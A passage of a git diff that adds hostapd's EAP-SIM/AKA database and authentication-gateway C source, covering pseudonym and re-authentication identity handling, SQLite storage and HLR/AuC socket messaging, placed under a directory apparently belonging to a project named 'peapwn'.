--git a/peapwn/mods/hostap/src/eap_server/eap_sim_db.c b/peapwn/mods/hostap/src/eap_server/eap_sim_db.c new file mode 100644 index 000000000..345c7887b --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_sim_db.c @@ -0,0 +1,1497 @@ +/* + * hostapd / EAP-SIM database/authenticator gateway + * Copyright (c) 2005-2010, 2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * This is an example implementation of the EAP-SIM/AKA database/authentication + * gateway interface that is using an external program as an SS7 gateway to + * GSM/UMTS authentication center (HLR/AuC). hlr_auc_gw is an example + * implementation of such a gateway program. This eap_sim_db.c takes care of + * EAP-SIM/AKA pseudonyms and re-auth identities. It can be used with different + * gateway implementations for HLR/AuC access. Alternatively, it can also be + * completely replaced if the in-memory database of pseudonyms/re-auth + * identities is not suitable for some cases. + */ + +#include "includes.h" +#include +#ifdef CONFIG_SQLITE +#include +#endif /* CONFIG_SQLITE */ + +#include "common.h" +#include "crypto/random.h" +#include "eap_common/eap_sim_common.h" +#include "eap_server/eap_sim_db.h" +#include "eloop.h" + +struct eap_sim_pseudonym { + struct eap_sim_pseudonym *next; + char *permanent; /* permanent username */ + char *pseudonym; /* pseudonym username */ +}; + +struct eap_sim_db_pending { + struct eap_sim_db_pending *next; + char imsi[20]; + enum { PENDING, SUCCESS, FAILURE } state; + void *cb_session_ctx; + struct os_time timestamp; + int aka; + union { + struct { + u8 kc[EAP_SIM_MAX_CHAL][EAP_SIM_KC_LEN]; + u8 sres[EAP_SIM_MAX_CHAL][EAP_SIM_SRES_LEN]; + u8 rand[EAP_SIM_MAX_CHAL][GSM_RAND_LEN]; + int num_chal; + } sim; + struct { + u8 rand[EAP_AKA_RAND_LEN]; + u8 autn[EAP_AKA_AUTN_LEN]; + u8 ik[EAP_AKA_IK_LEN]; + u8 ck[EAP_AKA_CK_LEN]; + u8 res[EAP_AKA_RES_MAX_LEN]; + size_t res_len; + } aka; + } u; +}; + +struct eap_sim_db_data { + int sock; + char *fname; + char *local_sock; + void (*get_complete_cb)(void *ctx, void *session_ctx); + void *ctx; + struct eap_sim_pseudonym *pseudonyms; + struct eap_sim_reauth *reauths; + struct eap_sim_db_pending *pending; +#ifdef CONFIG_SQLITE + sqlite3 *sqlite_db; + char db_tmp_identity[100]; + char db_tmp_pseudonym_str[100]; + struct eap_sim_pseudonym db_tmp_pseudonym; + struct eap_sim_reauth db_tmp_reauth; +#endif /* CONFIG_SQLITE */ +}; + + +#ifdef CONFIG_SQLITE + +static int db_table_exists(sqlite3 *db, const char *name) +{ + char cmd[128]; + os_snprintf(cmd, sizeof(cmd), "SELECT 1 FROM %s;", name); + return sqlite3_exec(db, cmd, NULL, NULL, NULL) == SQLITE_OK; +} + + +static int db_table_create_pseudonym(sqlite3 *db) +{ + char *err = NULL; + const char *sql = + "CREATE TABLE pseudonyms(" + " permanent CHAR(21) PRIMARY KEY," + " pseudonym CHAR(21) NOT NULL" + ");"; + + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Adding database table for " + "pseudonym information"); + if (sqlite3_exec(db, sql, NULL, NULL, &err) != SQLITE_OK) { + wpa_printf(MSG_ERROR, "EAP-SIM DB: SQLite error: %s", err); + sqlite3_free(err); + return -1; + } + + return 0; +} + + +static int db_table_create_reauth(sqlite3 *db) +{ + char *err = NULL; + const char *sql = + "CREATE TABLE reauth(" + " permanent CHAR(21) PRIMARY KEY," + " reauth_id CHAR(21) NOT NULL," + " counter INTEGER," + " mk CHAR(40)," + " k_encr CHAR(32)," + " k_aut CHAR(64)," + " k_re CHAR(64)" + ");"; + + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Adding database table for " + "reauth information"); + if (sqlite3_exec(db, sql, NULL, NULL, &err) != SQLITE_OK) { + wpa_printf(MSG_ERROR, "EAP-SIM DB: SQLite error: %s", err); + sqlite3_free(err); + return -1; + } + + return 0; +} + + +static sqlite3 * db_open(const char *db_file) +{ + sqlite3 *db; + + if (sqlite3_open(db_file, &db)) { + wpa_printf(MSG_ERROR, "EAP-SIM DB: Failed to open database " + "%s: %s", db_file, sqlite3_errmsg(db)); + sqlite3_close(db); + return NULL; + } + + if (!db_table_exists(db, "pseudonyms") && + db_table_create_pseudonym(db) < 0) { + sqlite3_close(db); + return NULL; + } + + if (!db_table_exists(db, "reauth") && + db_table_create_reauth(db) < 0) { + sqlite3_close(db); + return NULL; + } + + return db; +} + + +static int valid_db_string(const char *str) +{ + const char *pos = str; + while (*pos) { + if ((*pos < '0' || *pos > '9') && + (*pos < 'a' || *pos > 'f')) + return 0; + pos++; + } + return 1; +} + + +static int db_add_pseudonym(struct eap_sim_db_data *data, + const char *permanent, char *pseudonym) +{ + char cmd[128]; + char *err = NULL; + + if (!valid_db_string(permanent) || !valid_db_string(pseudonym)) { + os_free(pseudonym); + return -1; + } + + os_snprintf(cmd, sizeof(cmd), "INSERT OR REPLACE INTO pseudonyms " + "(permanent, pseudonym) VALUES ('%s', '%s');", + permanent, pseudonym); + os_free(pseudonym); + if (sqlite3_exec(data->sqlite_db, cmd, NULL, NULL, &err) != SQLITE_OK) + { + wpa_printf(MSG_ERROR, "EAP-SIM DB: SQLite error: %s", err); + sqlite3_free(err); + return -1; + } + + return 0; +} + + +static int get_pseudonym_cb(void *ctx, int argc, char *argv[], char *col[]) +{ + struct eap_sim_db_data *data = ctx; + int i; + + for (i = 0; i < argc; i++) { + if (os_strcmp(col[i], "permanent") == 0 && argv[i]) { + os_strlcpy(data->db_tmp_identity, argv[i], + sizeof(data->db_tmp_identity)); + } + } + + return 0; +} + + +static char * +db_get_pseudonym(struct eap_sim_db_data *data, const char *pseudonym) +{ + char cmd[128]; + + if (!valid_db_string(pseudonym)) + return NULL; + os_memset(&data->db_tmp_identity, 0, sizeof(data->db_tmp_identity)); + os_snprintf(cmd, sizeof(cmd), + "SELECT permanent FROM pseudonyms WHERE pseudonym='%s';", + pseudonym); + if (sqlite3_exec(data->sqlite_db, cmd, get_pseudonym_cb, data, NULL) != + SQLITE_OK) + return NULL; + if (data->db_tmp_identity[0] == '\0') + return NULL; + return data->db_tmp_identity; +} + + +static int db_add_reauth(struct eap_sim_db_data *data, const char *permanent, + char *reauth_id, u16 counter, const u8 *mk, + const u8 *k_encr, const u8 *k_aut, const u8 *k_re) +{ + char cmd[2000], *pos, *end; + char *err = NULL; + + if (!valid_db_string(permanent) || !valid_db_string(reauth_id)) { + os_free(reauth_id); + return -1; + } + + pos = cmd; + end = pos + sizeof(cmd); + pos += os_snprintf(pos, end - pos, "INSERT OR REPLACE INTO reauth " + "(permanent, reauth_id, counter%s%s%s%s) " + "VALUES ('%s', '%s', %u", + mk ? ", mk" : "", + k_encr ? ", k_encr" : "", + k_aut ? ", k_aut" : "", + k_re ? ", k_re" : "", + permanent, reauth_id, counter); + os_free(reauth_id); + + if (mk) { + pos += os_snprintf(pos, end - pos, ", '"); + pos += wpa_snprintf_hex(pos, end - pos, mk, EAP_SIM_MK_LEN); + pos += os_snprintf(pos, end - pos, "'"); + } + + if (k_encr) { + pos += os_snprintf(pos, end - pos, ", '"); + pos += wpa_snprintf_hex(pos, end - pos, k_encr, + EAP_SIM_K_ENCR_LEN); + pos += os_snprintf(pos, end - pos, "'"); + } + + if (k_aut) { + pos += os_snprintf(pos, end - pos, ", '"); + pos += wpa_snprintf_hex(pos, end - pos, k_aut, + EAP_AKA_PRIME_K_AUT_LEN); + pos += os_snprintf(pos, end - pos, "'"); + } + + if (k_re) { + pos += os_snprintf(pos, end - pos, ", '"); + pos += wpa_snprintf_hex(pos, end - pos, k_re, + EAP_AKA_PRIME_K_RE_LEN); + pos += os_snprintf(pos, end - pos, "'"); + } + + os_snprintf(pos, end - pos, ");"); + + if (sqlite3_exec(data->sqlite_db, cmd, NULL, NULL, &err) != SQLITE_OK) + { + wpa_printf(MSG_ERROR, "EAP-SIM DB: SQLite error: %s", err); + sqlite3_free(err); + return -1; + } + + return 0; +} + + +static int get_reauth_cb(void *ctx, int argc, char *argv[], char *col[]) +{ + struct eap_sim_db_data *data = ctx; + int i; + struct eap_sim_reauth *reauth = &data->db_tmp_reauth; + + for (i = 0; i < argc; i++) { + if (os_strcmp(col[i], "permanent") == 0 && argv[i]) { + os_strlcpy(data->db_tmp_identity, argv[i], + sizeof(data->db_tmp_identity)); + reauth->permanent = data->db_tmp_identity; + } else if (os_strcmp(col[i], "counter") == 0 && argv[i]) { + reauth->counter = atoi(argv[i]); + } else if (os_strcmp(col[i], "mk") == 0 && argv[i]) { + hexstr2bin(argv[i], reauth->mk, sizeof(reauth->mk)); + } else if (os_strcmp(col[i], "k_encr") == 0 && argv[i]) { + hexstr2bin(argv[i], reauth->k_encr, + sizeof(reauth->k_encr)); + } else if (os_strcmp(col[i], "k_aut") == 0 && argv[i]) { + hexstr2bin(argv[i], reauth->k_aut, + sizeof(reauth->k_aut)); + } else if (os_strcmp(col[i], "k_re") == 0 && argv[i]) { + hexstr2bin(argv[i], reauth->k_re, + sizeof(reauth->k_re)); + } + } + + return 0; +} + + +static struct eap_sim_reauth * +db_get_reauth(struct eap_sim_db_data *data, const char *reauth_id) +{ + char cmd[256]; + + if (!valid_db_string(reauth_id)) + return NULL; + os_memset(&data->db_tmp_reauth, 0, sizeof(data->db_tmp_reauth)); + os_strlcpy(data->db_tmp_pseudonym_str, reauth_id, + sizeof(data->db_tmp_pseudonym_str)); + data->db_tmp_reauth.reauth_id = data->db_tmp_pseudonym_str; + os_snprintf(cmd, sizeof(cmd), + "SELECT * FROM reauth WHERE reauth_id='%s';", reauth_id); + if (sqlite3_exec(data->sqlite_db, cmd, get_reauth_cb, data, NULL) != + SQLITE_OK) + return NULL; + if (data->db_tmp_reauth.permanent == NULL) + return NULL; + return &data->db_tmp_reauth; +} + + +static void db_remove_reauth(struct eap_sim_db_data *data, + struct eap_sim_reauth *reauth) +{ + char cmd[256]; + + if (!valid_db_string(reauth->permanent)) + return; + os_snprintf(cmd, sizeof(cmd), + "DELETE FROM reauth WHERE permanent='%s';", + reauth->permanent); + sqlite3_exec(data->sqlite_db, cmd, NULL, NULL, NULL); +} + +#endif /* CONFIG_SQLITE */ + + +static struct eap_sim_db_pending * +eap_sim_db_get_pending(struct eap_sim_db_data *data, const char *imsi, int aka) +{ + struct eap_sim_db_pending *entry, *prev = NULL; + + entry = data->pending; + while (entry) { + if (entry->aka == aka && os_strcmp(entry->imsi, imsi) == 0) { + if (prev) + prev->next = entry->next; + else + data->pending = entry->next; + break; + } + prev = entry; + entry = entry->next; + } + return entry; +} + + +static void eap_sim_db_add_pending(struct eap_sim_db_data *data, + struct eap_sim_db_pending *entry) +{ + entry->next = data->pending; + data->pending = entry; +} + + +static void eap_sim_db_sim_resp_auth(struct eap_sim_db_data *data, + const char *imsi, char *buf) +{ + char *start, *end, *pos; + struct eap_sim_db_pending *entry; + int num_chal; + + /* + * SIM-RESP-AUTH Kc(i):SRES(i):RAND(i) ... + * SIM-RESP-AUTH FAILURE + * (IMSI = ASCII string, Kc/SRES/RAND = hex string) + */ + + entry = eap_sim_db_get_pending(data, imsi, 0); + if (entry == NULL) { + wpa_printf(MSG_DEBUG, "EAP-SIM DB: No pending entry for the " + "received message found"); + return; + } + + start = buf; + if (os_strncmp(start, "FAILURE", 7) == 0) { + wpa_printf(MSG_DEBUG, "EAP-SIM DB: External server reported " + "failure"); + entry->state = FAILURE; + eap_sim_db_add_pending(data, entry); + data->get_complete_cb(data->ctx, entry->cb_session_ctx); + return; + } + + num_chal = 0; + while (num_chal < EAP_SIM_MAX_CHAL) { + end = os_strchr(start, ' '); + if (end) + *end = '\0'; + + pos = os_strchr(start, ':'); + if (pos == NULL) + goto parse_fail; + *pos = '\0'; + if (hexstr2bin(start, entry->u.sim.kc[num_chal], + EAP_SIM_KC_LEN)) + goto parse_fail; + + start = pos + 1; + pos = os_strchr(start, ':'); + if (pos == NULL) + goto parse_fail; + *pos = '\0'; + if (hexstr2bin(start, entry->u.sim.sres[num_chal], + EAP_SIM_SRES_LEN)) + goto parse_fail; + + start = pos + 1; + if (hexstr2bin(start, entry->u.sim.rand[num_chal], + GSM_RAND_LEN)) + goto parse_fail; + + num_chal++; + if (end == NULL) + break; + else + start = end + 1; + } + entry->u.sim.num_chal = num_chal; + + entry->state = SUCCESS; + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Authentication data parsed " + "successfully - callback"); + eap_sim_db_add_pending(data, entry); + data->get_complete_cb(data->ctx, entry->cb_session_ctx); + return; + +parse_fail: + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Failed to parse response string"); + os_free(entry); +} + + +static void eap_sim_db_aka_resp_auth(struct eap_sim_db_data *data, + const char *imsi, char *buf) +{ + char *start, *end; + struct eap_sim_db_pending *entry; + + /* + * AKA-RESP-AUTH + * AKA-RESP-AUTH FAILURE + * (IMSI = ASCII string, RAND/AUTN/IK/CK/RES = hex string) + */ + + entry = eap_sim_db_get_pending(data, imsi, 1); + if (entry == NULL) { + wpa_printf(MSG_DEBUG, "EAP-SIM DB: No pending entry for the " + "received message found"); + return; + } + + start = buf; + if (os_strncmp(start, "FAILURE", 7) == 0) { + wpa_printf(MSG_DEBUG, "EAP-SIM DB: External server reported " + "failure"); + entry->state = FAILURE; + eap_sim_db_add_pending(data, entry); + data->get_complete_cb(data->ctx, entry->cb_session_ctx); + return; + } + + end = os_strchr(start, ' '); + if (end == NULL) + goto parse_fail; + *end = '\0'; + if (hexstr2bin(start, entry->u.aka.rand, EAP_AKA_RAND_LEN)) + goto parse_fail; + + start = end + 1; + end = os_strchr(start, ' '); + if (end == NULL) + goto parse_fail; + *end = '\0'; + if (hexstr2bin(start, entry->u.aka.autn, EAP_AKA_AUTN_LEN)) + goto parse_fail; + + start = end + 1; + end = os_strchr(start, ' '); + if (end == NULL) + goto parse_fail; + *end = '\0'; + if (hexstr2bin(start, entry->u.aka.ik, EAP_AKA_IK_LEN)) + goto parse_fail; + + start = end + 1; + end = os_strchr(start, ' '); + if (end == NULL) + goto parse_fail; + *end = '\0'; + if (hexstr2bin(start, entry->u.aka.ck, EAP_AKA_CK_LEN)) + goto parse_fail; + + start = end + 1; + end = os_strchr(start, ' '); + if (end) + *end = '\0'; + else { + end = start; + while (*end) + end++; + } + entry->u.aka.res_len = (end - start) / 2; + if (entry->u.aka.res_len > EAP_AKA_RES_MAX_LEN) { + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Too long RES"); + entry->u.aka.res_len = 0; + goto parse_fail; + } + if (hexstr2bin(start, entry->u.aka.res, entry->u.aka.res_len)) + goto parse_fail; + + entry->state = SUCCESS; + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Authentication data parsed " + "successfully - callback"); + eap_sim_db_add_pending(data, entry); + data->get_complete_cb(data->ctx, entry->cb_session_ctx); + return; + +parse_fail: + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Failed to parse response string"); + os_free(entry); +} + + +static void eap_sim_db_receive(int sock, void *eloop_ctx, void *sock_ctx) +{ + struct eap_sim_db_data *data = eloop_ctx; + char buf[1000], *pos, *cmd, *imsi; + int res; + + res = recv(sock, buf, sizeof(buf), 0); + if (res < 0) + return; + wpa_hexdump_ascii_key(MSG_MSGDUMP, "EAP-SIM DB: Received from an " + "external source", (u8 *) buf, res); + if (res == 0) + return; + if (res >= (int) sizeof(buf)) + res = sizeof(buf) - 1; + buf[res] = '\0'; + + if (data->get_complete_cb == NULL) { + wpa_printf(MSG_DEBUG, "EAP-SIM DB: No get_complete_cb " + "registered"); + return; + } + + /* ... */ + + cmd = buf; + pos = os_strchr(cmd, ' '); + if (pos == NULL) + goto parse_fail; + *pos = '\0'; + imsi = pos + 1; + pos = os_strchr(imsi, ' '); + if (pos == NULL) + goto parse_fail; + *pos = '\0'; + wpa_printf(MSG_DEBUG, "EAP-SIM DB: External response=%s for IMSI %s", + cmd, imsi); + + if (os_strcmp(cmd, "SIM-RESP-AUTH") == 0) + eap_sim_db_sim_resp_auth(data, imsi, pos + 1); + else if (os_strcmp(cmd, "AKA-RESP-AUTH") == 0) + eap_sim_db_aka_resp_auth(data, imsi, pos + 1); + else + wpa_printf(MSG_INFO, "EAP-SIM DB: Unknown external response " + "'%s'", cmd); + return; + +parse_fail: + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Failed to parse response string"); +} + + +static int eap_sim_db_open_socket(struct eap_sim_db_data *data) +{ + struct sockaddr_un addr; + static int counter = 0; + + if (os_strncmp(data->fname, "unix:", 5) != 0) + return -1; + + data->sock = socket(PF_UNIX, SOCK_DGRAM, 0); + if (data->sock < 0) { + wpa_printf(MSG_INFO, "socket(eap_sim_db): %s", strerror(errno)); + return -1; + } + + os_memset(&addr, 0, sizeof(addr)); + addr.sun_family = AF_UNIX; + os_snprintf(addr.sun_path, sizeof(addr.sun_path), + "/tmp/eap_sim_db_%d-%d", getpid(), counter++); + os_free(data->local_sock); + data->local_sock = os_strdup(addr.sun_path); + if (bind(data->sock, (struct sockaddr *) &addr, sizeof(addr)) < 0) { + wpa_printf(MSG_INFO, "bind(eap_sim_db): %s", strerror(errno)); + close(data->sock); + data->sock = -1; + return -1; + } + + os_memset(&addr, 0, sizeof(addr)); + addr.sun_family = AF_UNIX; + os_strlcpy(addr.sun_path, data->fname + 5, sizeof(addr.sun_path)); + if (connect(data->sock, (struct sockaddr *) &addr, sizeof(addr)) < 0) { + wpa_printf(MSG_INFO, "connect(eap_sim_db): %s", + strerror(errno)); + wpa_hexdump_ascii(MSG_INFO, "HLR/AuC GW socket", + (u8 *) addr.sun_path, + os_strlen(addr.sun_path)); + close(data->sock); + data->sock = -1; + return -1; + } + + eloop_register_read_sock(data->sock, eap_sim_db_receive, data, NULL); + + return 0; +} + + +static void eap_sim_db_close_socket(struct eap_sim_db_data *data) +{ + if (data->sock >= 0) { + eloop_unregister_read_sock(data->sock); + close(data->sock); + data->sock = -1; + } + if (data->local_sock) { + unlink(data->local_sock); + os_free(data->local_sock); + data->local_sock = NULL; + } +} + + +/** + * eap_sim_db_init - Initialize EAP-SIM DB / authentication gateway interface + * @config: Configuration data (e.g., file name) + * @get_complete_cb: Callback function for reporting availability of triplets + * @ctx: Context pointer for get_complete_cb + * Returns: Pointer to a private data structure or %NULL on failure + */ +struct eap_sim_db_data * +eap_sim_db_init(const char *config, + void (*get_complete_cb)(void *ctx, void *session_ctx), + void *ctx) +{ + struct eap_sim_db_data *data; + char *pos; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + + data->sock = -1; + data->get_complete_cb = get_complete_cb; + data->ctx = ctx; + data->fname = os_strdup(config); + if (data->fname == NULL) + goto fail; + pos = os_strstr(data->fname, " db="); + if (pos) { + *pos = '\0'; +#ifdef CONFIG_SQLITE + pos += 4; + data->sqlite_db = db_open(pos); + if (data->sqlite_db == NULL) + goto fail; +#endif /* CONFIG_SQLITE */ + } + + if (os_strncmp(data->fname, "unix:", 5) == 0) { + if (eap_sim_db_open_socket(data)) { + wpa_printf(MSG_DEBUG, "EAP-SIM DB: External database " + "connection not available - will retry " + "later"); + } + } + + return data; + +fail: + eap_sim_db_close_socket(data); + os_free(data->fname); + os_free(data); + return NULL; +} + + +static void eap_sim_db_free_pseudonym(struct eap_sim_pseudonym *p) +{ + os_free(p->permanent); + os_free(p->pseudonym); + os_free(p); +} + + +static void eap_sim_db_free_reauth(struct eap_sim_reauth *r) +{ + os_free(r->permanent); + os_free(r->reauth_id); + os_free(r); +} + + +/** + * eap_sim_db_deinit - Deinitialize EAP-SIM DB/authentication gw interface + * @priv: Private data pointer from eap_sim_db_init() + */ +void eap_sim_db_deinit(void *priv) +{ + struct eap_sim_db_data *data = priv; + struct eap_sim_pseudonym *p, *prev; + struct eap_sim_reauth *r, *prevr; + struct eap_sim_db_pending *pending, *prev_pending; + +#ifdef CONFIG_SQLITE + if (data->sqlite_db) { + sqlite3_close(data->sqlite_db); + data->sqlite_db = NULL; + } +#endif /* CONFIG_SQLITE */ + + eap_sim_db_close_socket(data); + os_free(data->fname); + + p = data->pseudonyms; + while (p) { + prev = p; + p = p->next; + eap_sim_db_free_pseudonym(prev); + } + + r = data->reauths; + while (r) { + prevr = r; + r = r->next; + eap_sim_db_free_reauth(prevr); + } + + pending = data->pending; + while (pending) { + prev_pending = pending; + pending = pending->next; + os_free(prev_pending); + } + + os_free(data); +} + + +static int eap_sim_db_send(struct eap_sim_db_data *data, const char *msg, + size_t len) +{ + int _errno = 0; + + if (send(data->sock, msg, len, 0) < 0) { + _errno = errno; + wpa_printf(MSG_INFO, "send[EAP-SIM DB UNIX]: %s", + strerror(errno)); + } + + if (_errno == ENOTCONN || _errno == EDESTADDRREQ || _errno == EINVAL || + _errno == ECONNREFUSED) { + /* Try to reconnect */ + eap_sim_db_close_socket(data); + if (eap_sim_db_open_socket(data) < 0) + return -1; + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Reconnected to the " + "external server"); + if (send(data->sock, msg, len, 0) < 0) { + wpa_printf(MSG_INFO, "send[EAP-SIM DB UNIX]: %s", + strerror(errno)); + return -1; + } + } + + return 0; +} + + +static void eap_sim_db_expire_pending(struct eap_sim_db_data *data) +{ + /* TODO: add limit for maximum length for pending list; remove latest + * (i.e., last) entry from the list if the limit is reached; could also + * use timeout to expire pending entries */ +} + + +/** + * eap_sim_db_get_gsm_triplets - Get GSM triplets + * @data: Private data pointer from eap_sim_db_init() + * @username: Permanent username (prefix | IMSI) + * @max_chal: Maximum number of triplets + * @_rand: Buffer for RAND values + * @kc: Buffer for Kc values + * @sres: Buffer for SRES values + * @cb_session_ctx: Session callback context for get_complete_cb() + * Returns: Number of triplets received (has to be less than or equal to + * max_chal), -1 (EAP_SIM_DB_FAILURE) on error (e.g., user not found), or + * -2 (EAP_SIM_DB_PENDING) if results are not yet available. In this case, the + * callback function registered with eap_sim_db_init() will be called once the + * results become available. + * + * When using an external server for GSM triplets, this function can always + * start a request and return EAP_SIM_DB_PENDING immediately if authentication + * triplets are not available. Once the triplets are received, callback + * function registered with eap_sim_db_init() is called to notify EAP state + * machine to reprocess the message. This eap_sim_db_get_gsm_triplets() + * function will then be called again and the newly received triplets will then + * be given to the caller. + */ +int eap_sim_db_get_gsm_triplets(struct eap_sim_db_data *data, + const char *username, int max_chal, + u8 *_rand, u8 *kc, u8 *sres, + void *cb_session_ctx) +{ + struct eap_sim_db_pending *entry; + int len, ret; + char msg[40]; + const char *imsi; + size_t imsi_len; + + if (username == NULL || username[0] != EAP_SIM_PERMANENT_PREFIX || + username[1] == '\0' || os_strlen(username) > sizeof(entry->imsi)) { + wpa_printf(MSG_DEBUG, "EAP-SIM DB: unexpected username '%s'", + username); + return EAP_SIM_DB_FAILURE; + } + imsi = username + 1; + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Get GSM triplets for IMSI '%s'", + imsi); + + entry = eap_sim_db_get_pending(data, imsi, 0); + if (entry) { + int num_chal; + if (entry->state == FAILURE) { + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Pending entry -> " + "failure"); + os_free(entry); + return EAP_SIM_DB_FAILURE; + } + + if (entry->state == PENDING) { + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Pending entry -> " + "still pending"); + eap_sim_db_add_pending(data, entry); + return EAP_SIM_DB_PENDING; + } + + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Pending entry -> " + "%d challenges", entry->u.sim.num_chal); + num_chal = entry->u.sim.num_chal; + if (num_chal > max_chal) + num_chal = max_chal; + os_memcpy(_rand, entry->u.sim.rand, num_chal * GSM_RAND_LEN); + os_memcpy(sres, entry->u.sim.sres, + num_chal * EAP_SIM_SRES_LEN); + os_memcpy(kc, entry->u.sim.kc, num_chal * EAP_SIM_KC_LEN); + os_free(entry); + return num_chal; + } + + if (data->sock < 0) { + if (eap_sim_db_open_socket(data) < 0) + return EAP_SIM_DB_FAILURE; + } + + imsi_len = os_strlen(imsi); + len = os_snprintf(msg, sizeof(msg), "SIM-REQ-AUTH "); + if (len < 0 || len + imsi_len >= sizeof(msg)) + return EAP_SIM_DB_FAILURE; + os_memcpy(msg + len, imsi, imsi_len); + len += imsi_len; + ret = os_snprintf(msg + len, sizeof(msg) - len, " %d", max_chal); + if (ret < 0 || (size_t) ret >= sizeof(msg) - len) + return EAP_SIM_DB_FAILURE; + len += ret; + + wpa_printf(MSG_DEBUG, "EAP-SIM DB: requesting SIM authentication " + "data for IMSI '%s'", imsi); + if (eap_sim_db_send(data, msg, len) < 0) + return EAP_SIM_DB_FAILURE; + + entry = os_zalloc(sizeof(*entry)); + if (entry == NULL) + return EAP_SIM_DB_FAILURE; + + os_get_time(&entry->timestamp); + os_strlcpy(entry->imsi, imsi, sizeof(entry->imsi)); + entry->cb_session_ctx = cb_session_ctx; + entry->state = PENDING; + eap_sim_db_add_pending(data, entry); + eap_sim_db_expire_pending(data); + + return EAP_SIM_DB_PENDING; +} + + +static char * eap_sim_db_get_next(struct eap_sim_db_data *data, char prefix) +{ + char *id, *pos, *end; + u8 buf[10]; + + if (random_get_bytes(buf, sizeof(buf))) + return NULL; + id = os_malloc(sizeof(buf) * 2 + 2); + if (id == NULL) + return NULL; + + pos = id; + end = id + sizeof(buf) * 2 + 2; + *pos++ = prefix; + pos += wpa_snprintf_hex(pos, end - pos, buf, sizeof(buf)); + + return id; +} + + +/** + * eap_sim_db_get_next_pseudonym - EAP-SIM DB: Get next pseudonym + * @data: Private data pointer from eap_sim_db_init() + * @method: EAP method (SIM/AKA/AKA') + * Returns: Next pseudonym (allocated string) or %NULL on failure + * + * This function is used to generate a pseudonym for EAP-SIM. The returned + * pseudonym is not added to database at this point; it will need to be added + * with eap_sim_db_add_pseudonym() once the authentication has been completed + * successfully. Caller is responsible for freeing the returned buffer. + */ +char * eap_sim_db_get_next_pseudonym(struct eap_sim_db_data *data, + enum eap_sim_db_method method) +{ + char prefix = EAP_SIM_REAUTH_ID_PREFIX; + + switch (method) { + case EAP_SIM_DB_SIM: + prefix = EAP_SIM_PSEUDONYM_PREFIX; + break; + case EAP_SIM_DB_AKA: + prefix = EAP_AKA_PSEUDONYM_PREFIX; + break; + case EAP_SIM_DB_AKA_PRIME: + prefix = EAP_AKA_PRIME_PSEUDONYM_PREFIX; + break; + } + + return eap_sim_db_get_next(data, prefix); +} + + +/** + * eap_sim_db_get_next_reauth_id - EAP-SIM DB: Get next reauth_id + * @data: Private data pointer from eap_sim_db_init() + * @method: EAP method (SIM/AKA/AKA') + * Returns: Next reauth_id (allocated string) or %NULL on failure + * + * This function is used to generate a fast re-authentication identity for + * EAP-SIM. The returned reauth_id is not added to database at this point; it + * will need to be added with eap_sim_db_add_reauth() once the authentication + * has been completed successfully. Caller is responsible for freeing the + * returned buffer. + */ +char * eap_sim_db_get_next_reauth_id(struct eap_sim_db_data *data, + enum eap_sim_db_method method) +{ + char prefix = EAP_SIM_REAUTH_ID_PREFIX; + + switch (method) { + case EAP_SIM_DB_SIM: + prefix = EAP_SIM_REAUTH_ID_PREFIX; + break; + case EAP_SIM_DB_AKA: + prefix = EAP_AKA_REAUTH_ID_PREFIX; + break; + case EAP_SIM_DB_AKA_PRIME: + prefix = EAP_AKA_PRIME_REAUTH_ID_PREFIX; + break; + } + + return eap_sim_db_get_next(data, prefix); +} + + +/** + * eap_sim_db_add_pseudonym - EAP-SIM DB: Add new pseudonym + * @data: Private data pointer from eap_sim_db_init() + * @permanent: Permanent username + * @pseudonym: Pseudonym for this user. This needs to be an allocated buffer, + * e.g., return value from eap_sim_db_get_next_pseudonym(). Caller must not + * free it. + * Returns: 0 on success, -1 on failure + * + * This function adds a new pseudonym for EAP-SIM user. EAP-SIM DB is + * responsible of freeing pseudonym buffer once it is not needed anymore. + */ +int eap_sim_db_add_pseudonym(struct eap_sim_db_data *data, + const char *permanent, char *pseudonym) +{ + struct eap_sim_pseudonym *p; + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Add pseudonym '%s' for permanent " + "username '%s'", pseudonym, permanent); + + /* TODO: could store last two pseudonyms */ +#ifdef CONFIG_SQLITE + if (data->sqlite_db) + return db_add_pseudonym(data, permanent, pseudonym); +#endif /* CONFIG_SQLITE */ + for (p = data->pseudonyms; p; p = p->next) { + if (os_strcmp(permanent, p->permanent) == 0) + break; + } + if (p) { + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Replacing previous " + "pseudonym: %s", p->pseudonym); + os_free(p->pseudonym); + p->pseudonym = pseudonym; + return 0; + } + + p = os_zalloc(sizeof(*p)); + if (p == NULL) { + os_free(pseudonym); + return -1; + } + + p->next = data->pseudonyms; + p->permanent = os_strdup(permanent); + if (p->permanent == NULL) { + os_free(p); + os_free(pseudonym); + return -1; + } + p->pseudonym = pseudonym; + data->pseudonyms = p; + + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Added new pseudonym entry"); + return 0; +} + + +static struct eap_sim_reauth * +eap_sim_db_add_reauth_data(struct eap_sim_db_data *data, + const char *permanent, + char *reauth_id, u16 counter) +{ + struct eap_sim_reauth *r; + + for (r = data->reauths; r; r = r->next) { + if (os_strcmp(r->permanent, permanent) == 0) + break; + } + + if (r) { + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Replacing previous " + "reauth_id: %s", r->reauth_id); + os_free(r->reauth_id); + r->reauth_id = reauth_id; + } else { + r = os_zalloc(sizeof(*r)); + if (r == NULL) { + os_free(reauth_id); + return NULL; + } + + r->next = data->reauths; + r->permanent = os_strdup(permanent); + if (r->permanent == NULL) { + os_free(r); + os_free(reauth_id); + return NULL; + } + r->reauth_id = reauth_id; + data->reauths = r; + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Added new reauth entry"); + } + + r->counter = counter; + + return r; +} + + +/** + * 